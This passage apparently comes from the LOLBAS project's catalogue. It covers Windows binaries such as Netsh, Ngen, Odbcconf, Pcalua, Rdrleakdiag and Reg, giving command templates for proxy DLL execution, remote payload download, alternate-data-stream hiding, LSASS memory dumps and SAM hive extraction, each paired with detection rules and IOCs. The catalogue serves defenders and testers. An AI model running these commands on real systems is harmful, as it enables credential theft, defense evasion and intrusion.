https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_msiexec_masquerading.yml\n - Elastic: https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_network_connection_from_windows_binary.toml\n - Splunk: https://github.com/splunk/security_content/blob/18f63553a9dc1a34122fa123deae2b2f9b9ea391/detections/endpoint/uninstall_app_using_msiexec.yml\n - IOC: msiexec.exe retrieving files from Internet\nResources:\n - Link: https://pentestlab.blog/2017/06/16/applocker-bypass-msiexec/\n - Link: https://twitter.com/PhilipTsukerman/status/992021361106268161\n - Link: https://badoption.eu/blog/2023/10/03/MSIFortune.html\nAcknowledgement:\n - Person: netbiosX\n Handle: '@netbiosX'\n - Person: Philip Tsukerman\n Handle: '@PhilipTsukerman'\n" }, { "path": "yml/OSBinaries/Netsh.yml", "content": "---\nName: Netsh.exe\nDescription: Netsh is a Windows tool used to manipulate network interface settings.\nAuthor: Freddie Barr-Smith\nCreated: 2019-12-24\nCommands:\n - Command: netsh.exe add helper {PATH_ABSOLUTE:.dll}\n Description: Use Netsh in order to execute a .dll file and also gain persistence, every time the netsh command is called\n Usecase: Proxy execution of .dll\n Category: Execute\n Privileges: Admin\n MitreID: T1546.007\n OperatingSystem: Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\n Tags:\n - Execute: DLL\nFull_Path:\n - Path: C:\\WINDOWS\\System32\\Netsh.exe\n - Path: C:\\WINDOWS\\SysWOW64\\Netsh.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_netsh_helper_dll_persistence.yml\n - Splunk: https://github.com/splunk/security_content/blob/2b87b26bdc2a84b65b1355ffbd5174bdbdb1879c/detections/endpoint/processes_launching_netsh.yml\n - Splunk: https://github.com/splunk/security_content/blob/08ed88bd88259c03c771c30170d2934ed0a8f878/detections/deprecated/processes_created_by_netsh.yml\n - IOC: Netsh initiating a network connection\nResources:\n - Link: https://freddiebarrsmith.com/trix/trix.html\n - Link: https://htmlpreview.github.io/?https://github.com/MatthewDemaske/blogbackup/blob/master/netshell.html\n - Link: https://liberty-shell.com/sec/2018/07/28/netshlep/\nAcknowledgement:\n - Person: 'Freddie Barr-Smith'\n Handle:\n - Person: 'Riccardo Spolaor'\n Handle:\n - Person: 'Mariano Graziano'\n Handle:\n - Person: 'Xabier Ugarte-Pedrero'\n Handle:\n" }, { "path": "yml/OSBinaries/Ngen.yml", "content": "---\nName: Ngen.exe\nDescription: Microsoft Native Image Generator.\nAuthor: Avihay Eldad\nCreated: 2024-02-19\nCommands:\n - Command: ngen.exe {REMOTEURL}\n Description: Downloads payload from remote server using the Microsoft Native Image Generator utility.\n Usecase: It will download a remote payload and place it in INetCache.\n Category: Download\n Privileges: User\n MitreID: T1105\n OperatingSystem: Windows 10, Windows 11\n Tags:\n - Download: INetCache\nFull_Path:\n - Path: C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ngen.exe\n - Path: C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ngen.exe\n - Path: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe\n - Path: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\nAcknowledgement:\n - Person: Avihay Eldad\n Handle: '@AvihayEldad'\n" }, { "path": "yml/OSBinaries/Odbcconf.yml", "content": "---\nName: Odbcconf.exe\nDescription: Used in Windows for managing ODBC connections\nAuthor: Oddvar Moe\nCreated: 2018-05-25\nCommands:\n - Command: odbcconf /a {REGSVR {PATH_ABSOLUTE:.dll}}\n Description: Execute DllRegisterServer from DLL specified.\n Usecase: Execute a DLL file using technique that can evade defensive counter measures\n Category: Execute\n Privileges: User\n MitreID: T1218.008\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\n Tags:\n - Execute: DLL\n - Command: |\n odbcconf INSTALLDRIVER \"lolbas-project|Driver={PATH_ABSOLUTE:.dll}|APILevel=2\"\n odbcconf configsysdsn \"lolbas-project\" \"DSN=lolbas-project\"\n Description: Install a driver and load the DLL. Requires administrator privileges.\n Usecase: Execute dll file using technique that can evade defensive counter measures\n Category: Execute\n Privileges: User\n MitreID: T1218.008\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\n Tags:\n - Execute: DLL\n - Command: odbcconf -f {PATH:.rsp}\n Description: Load DLL specified in target .RSP file. See the Code Sample section for an example .RSP file.\n Usecase: Execute dll file using technique that can evade defensive counter measures\n Category: Execute\n Privileges: Administrator\n MitreID: T1218.008\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\nFull_Path:\n - Path: C:\\Windows\\System32\\odbcconf.exe\n - Path: C:\\Windows\\SysWOW64\\odbcconf.exe\nCode_Sample:\n - Code: https://raw.githubusercontent.com/LOLBAS-Project/LOLBAS/58b5eb751379501aa237275f14381f0902e979a5/Archive-Old-Version/OSBinaries/Payload/file.rsp\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_odbcconf_response_file.yml\n - Sigma: https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_odbcconf_response_file_susp.yml\n - Elastic: https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_unusual_process_network_connection.toml\n - Elastic: https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_network_connection_from_windows_binary.toml\nResources:\n - Link: https://gist.github.com/NickTyrer/6ef02ce3fd623483137b45f65017352b\n - Link: https://github.com/woanware/application-restriction-bypasses\n - Link: https://www.hexacorn.com/blog/2020/08/23/odbcconf-lolbin-trifecta/\nAcknowledgement:\n - Person: Casey Smith\n Handle: '@subtee'\n - Person: Adam\n Handle: '@Hexacorn'\n" }, { "path": "yml/OSBinaries/OfflineScannerShell.yml", "content": "---\nName: OfflineScannerShell.exe\nDescription: Windows Defender Offline Shell\nAuthor: 'Elliot Killick'\nCreated: 2021-08-16\nCommands:\n - Command: OfflineScannerShell\n Description: Execute mpclient.dll library in the current working directory\n Usecase: Can be used to evade defensive countermeasures or to hide as a persistence mechanism\n Category: Execute\n Privileges: Administrator\n MitreID: T1218\n OperatingSystem: Windows 10, Windows 11\n Tags:\n - Execute: DLL\nFull_Path:\n - Path: C:\\Program Files\\Windows Defender\\Offline\\OfflineScannerShell.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/bea6f18d350d9c9fdc067f93dde0e9b11cc22dc2/rules/windows/process_creation/proc_creation_win_lolbas_offlinescannershell.yml\n - IOC: OfflineScannerShell.exe should not be run on a normal workstation\nAcknowledgement:\n - Person: Elliot Killick\n Handle: '@elliotkillick'\n" }, { "path": "yml/OSBinaries/OneDriveStandaloneUpdater.yml", "content": "---\nName: OneDriveStandaloneUpdater.exe\nDescription: OneDrive Standalone Updater\nAuthor: 'Elliot Killick'\nCreated: 2021-08-22\nCommands:\n - Command: OneDriveStandaloneUpdater\n Description: Download a file from the web address specified in `HKCU\\Software\\Microsoft\\OneDrive\\UpdateOfficeConfig\\UpdateRingSettingURLFromOC`. `ODSUUpdateXMLUrlFromOC` and `UpdateXMLUrlFromOC` must be equal to non-empty string values in that same registry key. `UpdateOfficeConfigTimestamp` is a UNIX epoch time which must be set to a large QWORD such as 99999999999 (in decimal) to indicate the URL cache is good. The downloaded file will be in `%localappdata%\\OneDrive\\StandaloneUpdater\\PreSignInSettingsConfig.json`.\n Usecase: Download a file from the Internet without executing any anomalous executables with suspicious arguments\n Category: Download\n Privileges: User\n MitreID: T1105\n OperatingSystem: Windows 10\nFull_Path:\n - Path: 'C:\\Users\\\\AppData\\Local\\Microsoft\\OneDrive\\OneDriveStandaloneUpdater.exe'\n - Path: C:\\Program Files\\Microsoft OneDrive\\OneDriveStandaloneUpdater.exe\n - Path: C:\\Program Files (x86)\\Microsoft OneDrive\\OneDriveStandaloneUpdater.exe\nDetection:\n - IOC: HKCU\\Software\\Microsoft\\OneDrive\\UpdateOfficeConfig\\UpdateRingSettingURLFromOC being set to a suspicious non-Microsoft controlled URL\n - IOC: Reports of downloading from suspicious URLs in %localappdata%\\OneDrive\\setup\\logs\\StandaloneUpdate_*.log files\n - Sigma: https://github.com/SigmaHQ/sigma/blob/ff5102832031425f6eed011dd3a2e62653008c94/rules/windows/registry/registry_set/registry_set_lolbin_onedrivestandaloneupdater.yml\nResources:\n - Link: https://github.com/LOLBAS-Project/LOLBAS/pull/153\nAcknowledgement:\n - Person: Elliot Killick\n Handle: '@elliotkillick'\n" }, { "path": "yml/OSBinaries/Pcalua.yml", "content": "---\nName: Pcalua.exe\nDescription: Program Compatibility Assistant\nAuthor: Oddvar Moe\nCreated: 2018-05-25\nCommands:\n - Command: pcalua.exe -a {PATH:.exe}\n Description: Open the target .EXE using the Program Compatibility Assistant.\n Usecase: Proxy execution of binary\n Category: Execute\n Privileges: User\n MitreID: T1202\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\n Tags:\n - Execute: EXE\n - Command: pcalua.exe -a {PATH_SMB:.dll}\n Description: Open the target .DLL file with the Program Compatibilty Assistant.\n Usecase: Proxy execution of remote dll file\n Category: Execute\n Privileges: User\n MitreID: T1202\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10\n Tags:\n - Execute: DLL\n - Execute: Remote\n - Command: pcalua.exe -a {PATH_ABSOLUTE:.cpl} -c Java\n Description: Open the target .CPL file with the Program Compatibility Assistant.\n Usecase: Execution of CPL files\n Category: Execute\n Privileges: User\n MitreID: T1202\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\n Tags:\n - Execute: DLL\nFull_Path:\n - Path: C:\\Windows\\System32\\pcalua.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_lolbin_pcalua.yml\nResources:\n - Link: https://twitter.com/KyleHanslovan/status/912659279806640128\nAcknowledgement:\n - Person: Kyle Hanslovan\n Handle: '@kylehanslovan'\n - Person: Fab\n Handle: '@0rbz_'\n" }, { "path": "yml/OSBinaries/Pcwrun.yml", "content": "---\nName: Pcwrun.exe\nDescription: Program Compatibility Wizard\nAuthor: Oddvar Moe\nCreated: 2018-05-25\nCommands:\n - Command: Pcwrun.exe {PATH_ABSOLUTE:.exe}\n Description: Open the target .EXE file with the Program Compatibility Wizard.\n Usecase: Proxy execution of binary\n Category: Execute\n Privileges: User\n MitreID: T1218\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\n Tags:\n - Execute: EXE\n - Command: Pcwrun.exe /../../$(calc).exe\n Description: Leverage the MSDT follina vulnerability through Pcwrun to execute arbitrary commands and binaries. Note that this specific technique will not work on a patched system with the June 2022 Windows Security update.\n Usecase: Proxy execution of binary\n Category: Execute\n Privileges: User\n MitreID: T1202\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\n Tags:\n - Execute: EXE\nFull_Path:\n - Path: C:\\Windows\\System32\\pcwrun.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/6199a703221a98ae6ad343c79c558da375203e4e/rules/windows/process_creation/proc_creation_win_lolbin_pcwrun_follina.yml\nResources:\n - Link: https://twitter.com/pabraeken/status/991335019833708544\n - Link: https://twitter.com/nas_bench/status/1535663791362519040\nAcknowledgement:\n - Person: Pierre-Alexandre Braeken\n Handle: '@pabraeken'\n - Person: Nasreddine Bencherchali\n Handle: '@nas_bench'\n" }, { "path": "yml/OSBinaries/Pktmon.yml", "content": "---\nName: Pktmon.exe\nDescription: Capture Network Packets on the windows 10 with October 2018 Update or later.\nAuthor: Derek Johnson\nCreated: 2020-08-12\nCommands:\n - Command: pktmon.exe start --etw\n Description: Will start a packet capture and store log file as PktMon.etl. Use pktmon.exe stop\n Usecase: use this a built in network sniffer on windows 10 to capture senstive traffic\n Category: Reconnaissance\n Privileges: Administrator\n MitreID: T1040\n OperatingSystem: Windows 10 1809 and later, Windows 11\n - Command: pktmon.exe filter add -p 445\n Description: Select Desired ports for packet capture\n Usecase: Look for interesting traffic such as telent or FTP\n Category: Reconnaissance\n Privileges: Administrator\n MitreID: T1040\n OperatingSystem: Windows 10 1809 and later, Windows 11\nFull_Path:\n - Path: c:\\windows\\system32\\pktmon.exe\n - Path: c:\\windows\\syswow64\\pktmon.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_lolbin_pktmon.yml\n - IOC: .etl files found on system\nResources:\n - Link: https://binar-x79.com/windows-10-secret-sniffer/\nAcknowledgement:\n - Person: Derek Johnson\n" }, { "path": "yml/OSBinaries/Pnputil.yml", "content": "---\nName: Pnputil.exe\nDescription: Used for installing drivers\nAuthor: Hai vaknin (lux)\nCreated: 2020-12-25\nCommands:\n - Command: pnputil.exe -i -a {PATH_ABSOLUTE:.inf}\n Description: Used for installing drivers\n Usecase: Add malicious driver\n Category: Execute\n Privileges: Administrator\n MitreID: T1547\n OperatingSystem: Windows 7, Windows 10, Windows 11\n Tags:\n - Execute: INF\nFull_Path:\n - Path: C:\\Windows\\system32\\pnputil.exe\nCode_Sample:\n - Code: https://github.com/LuxNoBulIshit/test.inf/blob/main/inf\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_lolbin_susp_driver_installed_by_pnputil.yml\nAcknowledgement:\n - Person: Hai Vaknin(Lux)\n Handle: '@LuxNoBulIshit'\n - Person: Avihay eldad\n Handle: '@aloneliassaf'\n" }, { "path": "yml/OSBinaries/Presentationhost.yml", "content": "---\nName: Presentationhost.exe\nDescription: File is used for executing Browser applications\nAuthor: Oddvar Moe\nCreated: 2018-05-25\nCommands:\n - Command: Presentationhost.exe {PATH_ABSOLUTE:.xbap}\n Description: Executes the target XAML Browser Application (XBAP) file\n Usecase: Execute code within XBAP files\n Category: Execute\n Privileges: User\n MitreID: T1218\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10\n Tags:\n - Execute: XBAP\n - Command: Presentationhost.exe {REMOTEURL}\n Description: It will download a remote payload and place it in INetCache.\n Usecase: Downloads payload from remote server\n Category: Download\n Privileges: User\n MitreID: T1105\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\n Tags:\n - Download: INetCache\nFull_Path:\n - Path: C:\\Windows\\System32\\Presentationhost.exe\n - Path: C:\\Windows\\SysWOW64\\Presentationhost.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_lolbin_presentationhost_download.yml\n - Sigma: https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_lolbin_presentationhost.yml\n - IOC: Execution of .xbap files may not be common on production workstations\nResources:\n - Link: https://github.com/api0cradle/ShmooCon-2015/blob/master/ShmooCon-2015-Simple-WLEvasion.pdf\n - Link: https://oddvar.moe/2017/12/21/applocker-case-study-how-insecure-is-it-really-part-2/\nAcknowledgement:\n - Person: Casey Smith\n Handle: '@subtee'\n - Person: Nir Chako (Pentera)\n Handle: '@C_h4ck_0'\n" }, { "path": "yml/OSBinaries/Print.yml", "content": "---\nName: Print.exe\nDescription: Used by Windows to send files to the printer\nAuthor: Oddvar Moe\nCreated: 2018-05-25\nCommands:\n - Command: print /D:{PATH_ABSOLUTE}:file.exe {PATH_ABSOLUTE:.exe}\n Description: Copy file.exe into the Alternate Data Stream (ADS) of file.txt.\n Usecase: Hide binary file in alternate data stream to potentially bypass defensive counter measures\n Category: ADS\n Privileges: User\n MitreID: T1564.004\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\n - Command: print /D:{PATH_ABSOLUTE:.dest.exe} {PATH_ABSOLUTE:.source.exe}\n Description: Copy file from source to destination\n Usecase: Copy files\n Category: Copy\n Privileges: User\n MitreID: T1105\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\n - Command: print /D:{PATH_ABSOLUTE:.dest.exe} {PATH_SMB:.source.exe}\n Description: Copy File.exe from a network share to the target c:\\OutFolder\\outfile.exe.\n Usecase: Copy/Download file from remote server\n Category: Copy\n Privileges: User\n MitreID: T1105\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\nFull_Path:\n - Path: C:\\Windows\\System32\\print.exe\n - Path: C:\\Windows\\SysWOW64\\print.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_print_remote_file_copy.yml\n - IOC: Print.exe retrieving files from internet\n - IOC: Print.exe creating executable files on disk\nResources:\n - Link: https://twitter.com/Oddvarmoe/status/985518877076541440\n - Link: https://www.youtube.com/watch?v=nPBcSP8M7KE&lc=z22fg1cbdkabdf3x404t1aokgwd2zxasf2j3rbozrswnrk0h00410\nAcknowledgement:\n - Person: Oddvar Moe\n Handle: '@oddvarmoe'\n" }, { "path": "yml/OSBinaries/PrintBrm.yml", "content": "---\nName: PrintBrm.exe\nDescription: Printer Migration Command-Line Tool\nAuthor: Elliot Killick\nCreated: 2021-06-21\nCommands:\n - Command: PrintBrm -b -d {PATH_SMB:folder} -f {PATH_ABSOLUTE:.zip}\n Description: Create a ZIP file from a folder in a remote drive\n Usecase: Exfiltrate the contents of a remote folder on a UNC share into a zip file\n Category: Download\n Privileges: User\n MitreID: T1105\n OperatingSystem: Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\n Tags:\n - Type: Compression\n - Command: PrintBrm -r -f {PATH_ABSOLUTE}:hidden.zip -d {PATH_ABSOLUTE:folder}\n Description: Extract the contents of a ZIP file stored in an Alternate Data Stream (ADS) and store it in a folder\n Usecase: Decompress and extract a ZIP file stored on an alternate data stream to a new folder\n Category: ADS\n Privileges: User\n MitreID: T1564.004\n OperatingSystem: Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\n Tags:\n - Type: Compression\nFull_Path:\n - Path: C:\\Windows\\System32\\spool\\tools\\PrintBrm.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/35a7244c62820fbc5a832e50b1e224ac3a1935da/rules/windows/process_creation/proc_creation_win_lolbin_printbrm.yml\n - IOC: PrintBrm.exe should not be run on a normal workstation\nResources:\n - Link: https://twitter.com/elliotkillick/status/1404117015447670800\nAcknowledgement:\n - Person: Elliot Killick\n Handle: '@elliotkillick'\n" }, { "path": "yml/OSBinaries/Provlaunch.yml", "content": "---\nName: Provlaunch.exe\nDescription: Launcher process\nAuthor: Grzegorz Tworek\nCreated: 2023-06-30\nCommands:\n - Command: provlaunch.exe LOLBin\n Description: 'Executes command defined in the Registry. Requires 3 levels of the key structure containing some keywords. Such keys may be created with two reg.exe commands, e.g. `reg.exe add HKLM\\SOFTWARE\\Microsoft\\Provisioning\\Commands\\LOLBin\\dummy1 /v altitude /t REG_DWORD /d 0` and `reg add HKLM\\SOFTWARE\\Microsoft\\Provisioning\\Commands\\LOLBin\\dummy1\\dummy2 /v Commandline /d calc.exe`. Registry keys are deleted after successful execution.'\n Usecase: Executes arbitrary command\n Category: Execute\n Privileges: Administrator\n MitreID: T1218\n OperatingSystem: Windows 10, Windows 11, Windows Server 2012, Windows Server 2016, Windows Server 2019, Windows Server 2022\n Tags:\n - Execute: CMD\nFull_Path:\n - Path: c:\\windows\\system32\\provlaunch.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/9cb124f841c4358ca859e8474d6e7bb5268284a2/rules/windows/process_creation/proc_creation_win_provlaunch_potential_abuse.yml\n - Sigma: https://github.com/SigmaHQ/sigma/blob/9cb124f841c4358ca859e8474d6e7bb5268284a2/rules/windows/process_creation/proc_creation_win_provlaunch_susp_child_process.yml\n - Sigma: https://github.com/SigmaHQ/sigma/blob/9cb124f841c4358ca859e8474d6e7bb5268284a2/rules/windows/process_creation/proc_creation_win_registry_provlaunch_provisioning_command.yml\n - Sigma: https://github.com/SigmaHQ/sigma/blob/9cb124f841c4358ca859e8474d6e7bb5268284a2/rules/windows/registry/registry_set/registry_set_provisioning_command_abuse.yml\n - IOC: c:\\windows\\system32\\provlaunch.exe executions\n - IOC: Creation/existence of HKLM\\SOFTWARE\\Microsoft\\Provisioning\\Commands subkeys\nResources:\n - Link: https://twitter.com/0gtweet/status/1674399582162153472\nAcknowledgement:\n - Person: Grzegorz Tworek\n Handle: '@0gtweet'\n" }, { "path": "yml/OSBinaries/Psr.yml", "content": "---\nName: Psr.exe\nDescription: Windows Problem Steps Recorder, used to record screen and clicks.\nAuthor: Leon Rodenko\nCreated: 2020-06-27\nCommands:\n - Command: psr.exe /start /output {PATH_ABSOLUTE:.zip} /sc 1 /gui 0\n Description: Record a user screen without creating a GUI. You should use \"psr.exe /stop\" to stop recording and create output file.\n Usecase: Can be used to take screenshots of the user environment\n Category: Reconnaissance\n Privileges: User\n MitreID: T1113\n OperatingSystem: since Windows 7 (client) / Windows 2008 R2\nFull_Path:\n - Path: c:\\windows\\system32\\psr.exe\n - Path: c:\\windows\\syswow64\\psr.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_psr_capture_screenshots.yml\n - IOC: psr.exe spawned\n - IOC: suspicious activity when running with \"/gui 0\" flag\nResources:\n - Link: https://social.technet.microsoft.com/wiki/contents/articles/51722.windows-problem-steps-recorder-psr-quick-and-easy-documenting-of-your-steps-and-procedures.aspx\nAcknowledgement:\n - Person: Leon Rodenko\n Handle: '@L3m0nada'\n" }, { "path": "yml/OSBinaries/Query.yml", "content": "---\nName: Query.exe\nDescription: Remote Desktop Services MultiUser Query Utility\nAuthor: Idan Lerman\nCreated: 2025-07-31\nCommands:\n - Command: query.exe user\n Description: Once executed, `query.exe` will execute `quser.exe` in the same folder. Thus, if `query.exe` is copied to a folder and an arbitrary executable is renamed to `quser.exe`, `query.exe` will spawn it. Instead of `user`, it is also possible to use `session`, `termsession` or `process` as command-line option.\n Usecase: Execute an arbitrary executable via trusted system executable.\n Category: Execute\n Privileges: User\n MitreID: T1218\n OperatingSystem: Windows 10, Windows 11\n Tags:\n - Execute: EXE\n - Requires: Rename\nFull_Path:\n - Path: c:\\windows\\system32\\query.exe\n - Path: c:\\windows\\syswow64\\query.exe\nDetection:\n - IOC: query.exe being executed and executes a child process outside of its normal path of c:\\windows\\system32\\ or c:\\windows\\syswow64\\\nAcknowledgement:\n - Person: Idan Lerman\n Handle: '@IdanLerman'\n" }, { "path": "yml/OSBinaries/Rasautou.yml", "content": "---\nName: Rasautou.exe\nDescription: Windows Remote Access Dialer\nAuthor: Tony Lambert\nCreated: 2020-01-10\nCommands:\n - Command: rasautou -d {PATH:.dll} -p export_name -a a -e e\n Description: Loads the target .DLL specified in -d and executes the export specified in -p. Options removed in Windows 10.\n Usecase: Execute DLL code\n Category: Execute\n Privileges: User, Administrator in Windows 8\n MitreID: T1218\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1\n Tags:\n - Execute: DLL\nFull_Path:\n - Path: C:\\Windows\\System32\\rasautou.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/process_creation/win_rasautou_dll_execution.yml\n - IOC: rasautou.exe command line containing -d and -p\nResources:\n - Link: https://github.com/fireeye/DueDLLigence\n - Link: https://www.fireeye.com/blog/threat-research/2019/10/staying-hidden-on-the-endpoint-evading-detection-with-shellcode.html\nAcknowledgement:\n - Person: FireEye\n Handle: '@FireEye'\n" }, { "path": "yml/OSBinaries/Rdrleakdiag.yml", "content": "---\nName: rdrleakdiag.exe\nDescription: Microsoft Windows resource leak diagnostic tool\nAuthor: 'John Dwyer'\nCreated: 2022-05-18\nCommands:\n - Command: rdrleakdiag.exe /p 940 /o {PATH_ABSOLUTE:folder} /fullmemdmp /wait 1\n Description: Dump process by PID and create a dump file (creates files called `minidump_.dmp` and `results_.hlk`).\n Usecase: Dump process by PID.\n Category: Dump\n Privileges: User\n MitreID: T1003\n OperatingSystem: Windows\n - Command: rdrleakdiag.exe /p 832 /o {PATH_ABSOLUTE:folder} /fullmemdmp /wait 1\n Description: Dump LSASS process by PID and create a dump file (creates files called `minidump_.dmp` and `results_.hlk`).\n Usecase: Dump LSASS process.\n Category: Dump\n Privileges: Administrator\n MitreID: T1003.001\n OperatingSystem: Windows\n - Command: rdrleakdiag.exe /p 832 /o {PATH_ABSOLUTE:folder} /fullmemdmp /snap\n Description: After dumping a process using `/wait 1`, subsequent dumps must use `/snap` (creates files called `minidump_.dmp` and `results_.hlk`).\n Usecase: Dump LSASS process mutliple times.\n Category: Dump\n Privileges: Administrator\n MitreID: T1003.001\n OperatingSystem: Windows\nFull_Path:\n - Path: c:\\windows\\system32\\rdrleakdiag.exe\n - Path: c:\\Windows\\SysWOW64\\rdrleakdiag.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_rdrleakdiag_process_dumping.yml\n - Elastic: https://www.elastic.co/guide/en/security/current/potential-credential-access-via-windows-utilities.html\n - Elastic: https://github.com/elastic/detection-rules/blob/5bdf70e72c6cd4547624c521108189af994af449/rules/windows/credential_access_cmdline_dump_tool.toml\nResources:\n - Link: https://twitter.com/0gtweet/status/1299071304805560321?s=21\n - Link: https://www.pureid.io/dumping-abusing-windows-credentials-part-1/\n - Link: https://github.com/LOLBAS-Project/LOLBAS/issues/84\nAcknowledgement:\n - Person: Grzegorz Tworek\n Handle: '@0gtweet'\n" }, { "path": "yml/OSBinaries/Reg.yml", "content": "---\nName: Reg.exe\nDescription: Used to manipulate the registry\nAuthor: Oddvar Moe\nCreated: 2018-05-25\nCommands:\n - Command: reg export HKLM\\SOFTWARE\\Microsoft\\Evilreg {PATH_ABSOLUTE}:evilreg.reg\n Description: Export the target Registry key and save it to the specified .REG file within an Alternate data stream.\n Usecase: Hide/plant registry information in Alternate data stream for later use\n Category: ADS\n Privileges: User\n MitreID: T1564.004\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\n - Command: reg save HKLM\\SECURITY {PATH_ABSOLUTE:.1.bak} && reg save HKLM\\SYSTEM {PATH_ABSOLUTE:.2.bak} && reg save HKLM\\SAM {PATH_ABSOLUTE:.3.bak}\n Description: Dump registry hives (SAM, SYSTEM, SECURITY) to retrieve password hashes and key material\n Usecase: Dump credentials from the Security Account Manager (SAM)\n Category: Credentials\n Privileges: Administrator\n MitreID: T1003.002\n OperatingSystem: Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\nFull_Path:\n - Path: C:\\Windows\\System32\\reg.exe\n - Path: C:\\Windows\\SysWOW64\\reg.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_regedit_import_keys_ads.yml\n - Sigma: https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_regedit_import_keys.yml\n - Sigma: https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_reg_dumping_sensitive_hives.yml\n - Splunk: https://github.com/splunk/security_content/blob/bee2a4cefa533f286c546cbe6798a0b5dec3e5ef/detections/endpoint/attempted_credential_dump_from_registry_via_reg_exe.yml\n - Elastic: https://github.com/elastic/detection-rules/blob/f6421d8c534f295518a2c945f530e8afc4c8ad1b/rules/windows/credential_access_dump_registry_hives.toml\n - IOC: reg.exe writing to an ADS\nResources:\n - Link: https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f\n - Link: https://pure.security/dumping-windows-credentials/\nAcknowledgement:\n - Person: Oddvar Moe\n Handle: '@oddvarmoe'\n" }, { "path": "yml/OSBinaries/Regasm.yml", "content": "---\nName: Regasm.exe\nDescription: Part of .NET\nAuthor: Oddvar Moe\nCreated: 2018-05-25\nCommands:\n - Command: regasm.exe {PATH:.dll}\n Description: Loads the target .NET DLL file and executes the RegisterClass function.\n Usecase: Execute code and bypass Application whitelisting\n Category: AWL Bypass\n Privileges: Local Admin\n MitreID: T1218.009\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\n Tags:\n - Execute: DLL (.NET)\n - Command: regasm.exe /U {PATH:.dll}\n Description: Loads the target .DLL file and executes the UnRegisterClass function.\n Usecase: Execute code and bypass Application whitelisting\n Category: Execute\n Privileges: User\n MitreID: T1218.009\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\n Tags:\n - Execute: 